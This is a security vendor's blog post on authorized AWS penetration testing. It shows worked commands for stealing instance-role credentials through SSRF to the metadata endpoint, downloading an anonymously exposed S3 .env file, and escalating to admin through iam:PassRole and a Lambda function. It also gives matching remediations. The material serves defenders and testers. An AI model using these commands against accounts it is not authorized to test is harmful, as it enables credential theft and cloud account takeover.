Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Quick Agentic Pentest
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
AWS Penetration Testing: Rules, Scope, and Methodology
Cloud pentestingCloud Security

AWS Penetration Testing: Rules, Scope, and Methodology

Likhil ChekuriJune 24, 20257 min read

Table of Contents

  • What does AWS let you test, and what still needs approval?
  • The metadata endpoint is where SSRF turns into credentials
  • The IAM layer is where AWS engagements are won
  • How do you chain iam:PassRole and Lambda into account takeover?
  • What does a real AWS engagement turn up, and how do you fix it?
  • Frequently asked questions
  • Sources and references

Authors

L
Likhil Chekuri

Share

Table of Contents

  • What does AWS let you test, and what still needs approval?
  • The metadata endpoint is where SSRF turns into credentials
  • The IAM layer is where AWS engagements are won
  • How do you chain iam:PassRole and Lambda into account takeover?
  • What does a real AWS engagement turn up, and how do you fix it?
  • Frequently asked questions
  • Sources and references

Authors

L
Likhil Chekuri

Share

TL;DR
  • ✓AWS permits customer-side penetration testing of eight service categories with no advance notice, but DDoS, stress, and simulated-event testing still require the AWS Simulated Events form.
  • ✓The two attack paths that produce most criticals are SSRF to the instance metadata endpoint (169.254.169.254) to steal role credentials, and IAM misconfigurations that let a low-privilege identity escalate.
  • ✓IMDSv1 hands credentials to a plain GET; IMDSv2 requires a PUT to fetch a session token first, which breaks most SSRF primitives. Confirm which one each instance enforces.
  • ✓Prowler and ScoutSuite handle posture; Pacu drives exploitation; pmapper and enumerate-iam map the IAM blast radius a scanner cannot see.
  • ✓You test your own configuration and data plane, never the AWS hypervisor, hardware, or other tenants.

Since March 2019, AWS lets you penetration test eight categories of your own resources without filing anything in advance. That single policy change turned cloud pentesting from a two-week approval queue into something you can kick off the same morning, provided you stay on your side of the shared-responsibility line and avoid the still-gated tests like DDoS and stress simulation.

This guide is built around the two attack paths that produce the overwhelming majority of AWS criticals (the metadata SSRF pivot and IAM privilege escalation) and shows the actual command output you read at each step, a sample findings table from a report, and the configuration that closes each gap. Written authorization from the account owner is assumed throughout.

Table of contents
  1. What does AWS let you test, and what still needs approval?
  2. The metadata endpoint is where SSRF turns into credentials
  3. The IAM layer is where AWS engagements are won
  4. How do you chain iam:PassRole and Lambda into account takeover?
  5. What does a real AWS engagement turn up, and how do you fix it?

What does AWS let you test, and what still needs approval?

AWS permits customer-initiated testing of eight service categories with no advance notice: EC2 (including NAT gateways and Elastic Load Balancers), RDS, CloudFront, Aurora, API Gateway, Lambda and Lambda@Edge, Lightsail, and Elastic Beanstalk. You test the resources you own and the configuration you control. Everything below the service boundary belongs to AWS.

Several activities are still prohibited or need a separate request. DNS zone walking of Route 53, port flooding, protocol flooding, and request (login/API) flooding are banned outright. Simulated events that mimic real attacks (DDoS, stress tests, large-scale red team traffic against managed control planes) require approval through the AWS Simulated Events form, which usually clears in a few business days. Record that approval reference in your rules of engagement so the blue team and AWS Trust and Safety can correlate your traffic if alarms fire.

One nuance trips people up: the eight categories cover the resources you run, not AWS-managed control-plane endpoints. Brute-forcing the STS or IAM API, hammering KMS, or attacking Cognito as a service is not the same as testing your app that happens to call them. Throttle your tooling so it never looks like a flood. The first move on any engagement is confirming the identity you operate as, because every later finding is scoped to it. Cloud engagements differ from traditional ones in ways we cover in what to expect from a cloud penetration test.

$ aws sts get-caller-identity
{
    "UserId": "AIDA4XMPL2QK7EXAMPLE",
    "Account": "111122223333",
    "Arn": "arn:aws:iam::111122223333:user/ci-deployer"   <- you are a low-priv CI user, not an admin
}

That Arn is your starting blast radius. From here, everything is about how far ci-deployer can reach.

Strobes insight
The fastest path to AWS account takeover is rarely a CVE. It's an SSRF that reaches 169.254.169.254 on an instance still allowing IMDSv1. Test which metadata version is enforced before you assume the path is closed.

The metadata endpoint is where SSRF turns into credentials

Server-side request forgery against the EC2 metadata service at 169.254.169.254 is the single most impactful AWS attack path. If an application on an instance can be coerced into fetching an attacker-controlled URL, you point it at the IAM credentials path and receive temporary keys for the instance role. On an instance still allowing IMDSv1, that is a single GET through the SSRF parameter:

$ curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
web-instance-role                                          <- the role name leaks first

$ curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-instance-role"
{
  "Code": "Success",
  "AccessKeyId": "ASIA4XMPLTOKENONLY",
  "SecretAccessKey": "wJalrXUtn...EXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjE...",                          <- session token = you are now web-instance-role
  "Expiration": "2026-06-03T18:21:00Z"
}

Export those three values and the AWS CLI treats you as the instance role. IMDSv2 breaks this because it requires a PUT to mint a session token first, and that token must ride in a header on every call. Most SSRF primitives only issue GETs, so they never get past the PUT:

$ TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
web-instance-role                                          <- only works because we could send a PUT

So your first metadata test is not the exploit, it is the question of which version is enforced. The SSRF mechanics themselves carry over from web testing, covered in our SSRF testing guide.

AWS Testing: In Scope vs Out of Scope
In scope (no approval)Requires form / prohibited
Your EC2, RDS, Lambda, CloudFront configAWS hypervisor, hardware, control plane
S3 bucket policy and ACL testingDDoS / DoS simulation (form required)
IAM policy and privilege-escalation reviewPort, protocol, or request flooding
API Gateway and Lightsail probingRoute 53 DNS zone walking
App-layer attacks on your own appsScanning AWS-owned IPs or other tenants

The IAM layer is where AWS engagements are won

S3 and IAM are where most AWS findings live, and of the two, IAM is what separates a finding list from an account takeover. On S3, the fastest check is anonymous access with --no-sign-request, which tells you in one line whether a bucket policy or ACL is open to the world:

$ aws s3 ls s3://acme-prod-assets --no-sign-request
2026-05-29 09:14:02       4821 config.json
2026-05-29 09:14:02     188204 backup-2026-05.sql.gz       <- a database dump, world-readable
2026-05-29 09:14:03        612 .env
$ aws s3 cp s3://acme-prod-assets/.env . --no-sign-request   # pull it down anonymously

Account-level Block Public Access overrides permissive bucket policies, so confirm whether it is on before you call a bucket exploitable. A common false negative is a bucket that looks private to aws s3 ls with signed creds but is wide open anonymously, which is exactly why you re-test with --no-sign-request rather than trusting the console. IAM escalation is subtler. Permissions like iam:CreatePolicyVersion, iam:PassRole with a service that assumes roles, iam:AttachUserPolicy, and sts:AssumeRole against an over-permissive trust policy each form a documented escalation chain. There are roughly two dozen known paths, so map them rather than guess:

  • Enumerate the effective permissions of any keys you find with enumerate-iam --access-key ASIA... --secret-key ....
  • Build the privilege graph and query escalation edges: pmapper graph create then pmapper query "who can do iam:* with *".
  • Confirm exploitation safely with Pacu's iam__privesc_scan module.

The single most common false positive here is treating a scoped-looking role as safe. A role with no admin policy can still hold iam:PassRole on an admin role, which is the chain in the next section. To practice this safely without touching production, stand up the deliberately vulnerable CloudGoat scenarios in a throwaway account; they reproduce the IMDS, S3, and PassRole paths above with real but disposable resources.

How do you chain iam:PassRole and Lambda into account takeover?

The cleanest end-to-end AWS escalation is iam:PassRole plus lambda:CreateFunction and lambda:InvokeFunction. Even though you can never assume the admin role directly, you can hand it to a Lambda you create, and Lambda runs your code as that role. First find an admin-grade role your identity is allowed to pass:

$ aws iam list-roles --query 'Roles[].RoleName' --output text
ci-deployer-role  s3-readonly-role  admin-automation-role   <- the prize
$ aws iam list-attached-role-policies --role-name admin-automation-role
{"AttachedPolicies": [{"PolicyName": "AdministratorAccess", ...}]}   <- full admin

Then deploy a function that returns its own environment credentials and pass the admin role to it:

$ zip function.zip index.py     # handler returns os.environ['AWS_*']
$ aws lambda create-function --function-name pt-escalate \
    --runtime python3.12 --handler index.handler \
    --role arn:aws:iam::111122223333:role/admin-automation-role \
    --zip-file fileb://function.zip
$ aws lambda invoke --function-name pt-escalate out.json
$ cat out.json
{"AWS_ACCESS_KEY_ID": "ASIA...ADMIN", "AWS_SECRET_ACCESS_KEY": "...",
 "AWS_SESSION_TOKEN": "..."}   <- temporary creds for admin-automation-role

You have escalated from a single function-create permission to full admin, without ever holding an admin policy. The defensive lesson is to scope iam:PassRole with a condition naming exactly which roles a principal may pass, and never attach broad roles to compute that low-tier identities can create.

AWS Privilege-Escalation Chain
1
Foothold
SSRF in an app on an IMDSv1 instance returns role credentials from 169.254.169.254.
2
Enumerate
enumerate-iam and pmapper map what the stolen role can reach across the account.
3
Pivot
Role can read every S3 bucket; one bucket holds a service-account key.
4
Escalate
iam:PassRole + lambda:CreateFunction runs code as an admin role. Game over.

What does a real AWS engagement turn up, and how do you fix it?

Most AWS criticals are not a single CVE; they are three mediums chained into account compromise, which is exactly what a posture scanner cannot see. On a recent assessment of a media company's image-processing platform, the entry point was a low-severity SSRF in a resize feature. The instance still allowed IMDSv1, its role held s3:GetObject on every bucket, and one of those buckets held a service-account key with iam:PassRole on an admin role. Three findings that each looked moderate in isolation chained into full account takeover in under an hour.

The findings table below is the report excerpt that proves that chain. The remediation for every row is config, not advice. Enforce IMDSv2 so the metadata GET never returns credentials: aws ec2 modify-instance-metadata-options --instance-id i-0abc --http-tokens required --http-endpoint enabled. Block public storage at the account level so a single bad bucket policy cannot expose data. Scope iam:PassRole with a condition, and deny the riskiest IAM writes org-wide with a service control policy:

{
  "Sid": "DenyIamPrivescWrites",
  "Effect": "Deny",
  "Action": ["iam:CreatePolicyVersion", "iam:AttachUserPolicy",
             "iam:PutUserPolicy", "iam:CreateAccessKey"],
  "Resource": "*",
  "Condition": {"StringNotEquals": {"aws:PrincipalArn":
    "arn:aws:iam::111122223333:role/iam-admin"}}
}

Run posture discovery first with Prowler (prowler aws --severity high critical) and ScoutSuite (scout aws) to surface public buckets, disabled logging, and weak IAM, then use Pacu and pmapper for the exploitation a scanner misses. The argument for doing this on a schedule instead of once a year is agentic, continuous pentesting, and findings should feed your cloud security posture checklist.

Sample Findings (Report Excerpt)
FindingSeverity (CVSS)EvidenceRemediation
IMDSv1 enabled on EC2 instancesHigh (8.6)GET to 169.254.169.254 returned role creds via app SSRFSet http-tokens required (enforce IMDSv2)
S3 bucket world-readableHigh (7.5)aws s3 ls --no-sign-request listed backup-2026-05.sql.gzEnable account-level Block Public Access
Role allows iam:PassRole on admin roleCritical (9.1)Lambda created with admin-automation-role returned admin credsScope iam:PassRole with role-ARN condition
No SCP denying IAM privesc writesMedium (6.5)ci-deployer could call iam:AttachUserPolicyApply org SCP denying privesc IAM actions
CloudTrail not enabled in 2 regionsMedium (5.3)describe-trails returned empty for eu-west-2Enable a multi-region organization trail

Frequently asked questions

Do I need AWS permission to penetration test my own account?
For the eight permitted categories (EC2, RDS, CloudFront, Aurora, API Gateway, Lambda, Lightsail, Elastic Beanstalk) you do not need to notify AWS in advance. You still need written authorization from the account owner, and any DDoS, stress, or simulated-event testing requires a separate request through the AWS Simulated Events form, which typically clears in a few business days.
How much does an AWS penetration test cost and how long does it take?
A focused AWS configuration and IAM review of a single account usually runs five to ten business days; a multi-account organization with many services can run two to four weeks. Cost scales with account count and scope rather than instance count, since the work is identity and configuration analysis, not host scanning. Continuous posture scanning between manual engagements lowers the per-engagement load.
What is the difference between IMDSv1 and IMDSv2?
IMDSv1 answers a plain GET to 169.254.169.254 with instance metadata including role credentials, which is exactly what an SSRF can reach. IMDSv2 requires a PUT to obtain a short-lived session token first, and that token must be sent in a header on every subsequent call. Because most SSRF primitives can only issue GET requests, enforcing IMDSv2 (http-tokens required) breaks the classic credential-theft attack.
How do attackers escalate IAM privileges in AWS?
Common chains use iam:CreatePolicyVersion, iam:PassRole combined with a service that assumes roles, iam:AttachUserPolicy, and lambda:CreateFunction plus iam:PassRole. Each lets a low-privilege identity grant itself or run code as broader access. Tools like pmapper enumerate these escalation edges automatically across an account so you can find them before an attacker does.
Which tools are best for AWS penetration testing?
Prowler and ScoutSuite cover posture and misconfiguration discovery, Pacu is the main exploitation framework, and pmapper and enumerate-iam map IAM privilege-escalation paths. Cartography graphs asset relationships in Neo4j for relationship queries. Run the posture scanners first to surface obvious gaps, then use Pacu and pmapper for the chained attacks scanners cannot find.
Why does a clean CSPM report not mean the account is secure?
Posture scanners measure static configuration, not exploitability. A role can look scoped and still chain through iam:PassRole into admin, and a bucket can be private and still leak through an SSRF-stolen token. Config and real-world resistance are different measurements, which is why posture management and penetration testing are complementary rather than interchangeable.

Sources and references

  • AWS Penetration Testing Policy
  • AWS EC2 Instance Metadata Service (IMDSv2)
  • Rhino Security Labs AWS IAM Privilege Escalation
  • Prowler
  • Pacu AWS Exploitation Framework
L
Likhil Chekuri
Application Security Engineer, Strobes
Likhil Chekuri is an AppSec engineer at Strobes who has run hundreds of web, mobile, and cloud penetration tests for regulated industries.
Tags
Cloud PentestingAWSCloud Security

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

Pentesting microservices architecture beyond the API gateway with East-West traffic testing
Penetration TestingApplication Security

Pentesting Microservices Architecture: Why Traditional Methods Fall Short

Why traditional pentesting misses 90% of microservices attack surface. Learn how to test East-West traffic, service mesh, and Kubernetes security at scale.

Jun 4, 202620 min
Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy.
Cloud Security

Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy.

The use of clouds has taken a significant step forward beyond workloads and virtual machines. Containers, Kubernetes, microservices, APIs, and serverless functions can be relied upon by modern enterprises to provide a cloud-native architecture. Such environments not only speed up the delivery of sof

Oct 22, 202512 min
Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy
Cloud Security

Beyond the Basics Developing a Risk Driven AI Driven Cloud Native Security Strategy

Cloud-native architectures bring speed and scalability but also create new risks beyond traditional workloads. Misconfigured APIs, vulnerable containers, and over-permissive access expose enterprises to advanced threats. This blog explains why legacy security tools fall short, how AI-driven strategi

Sep 30, 202512 min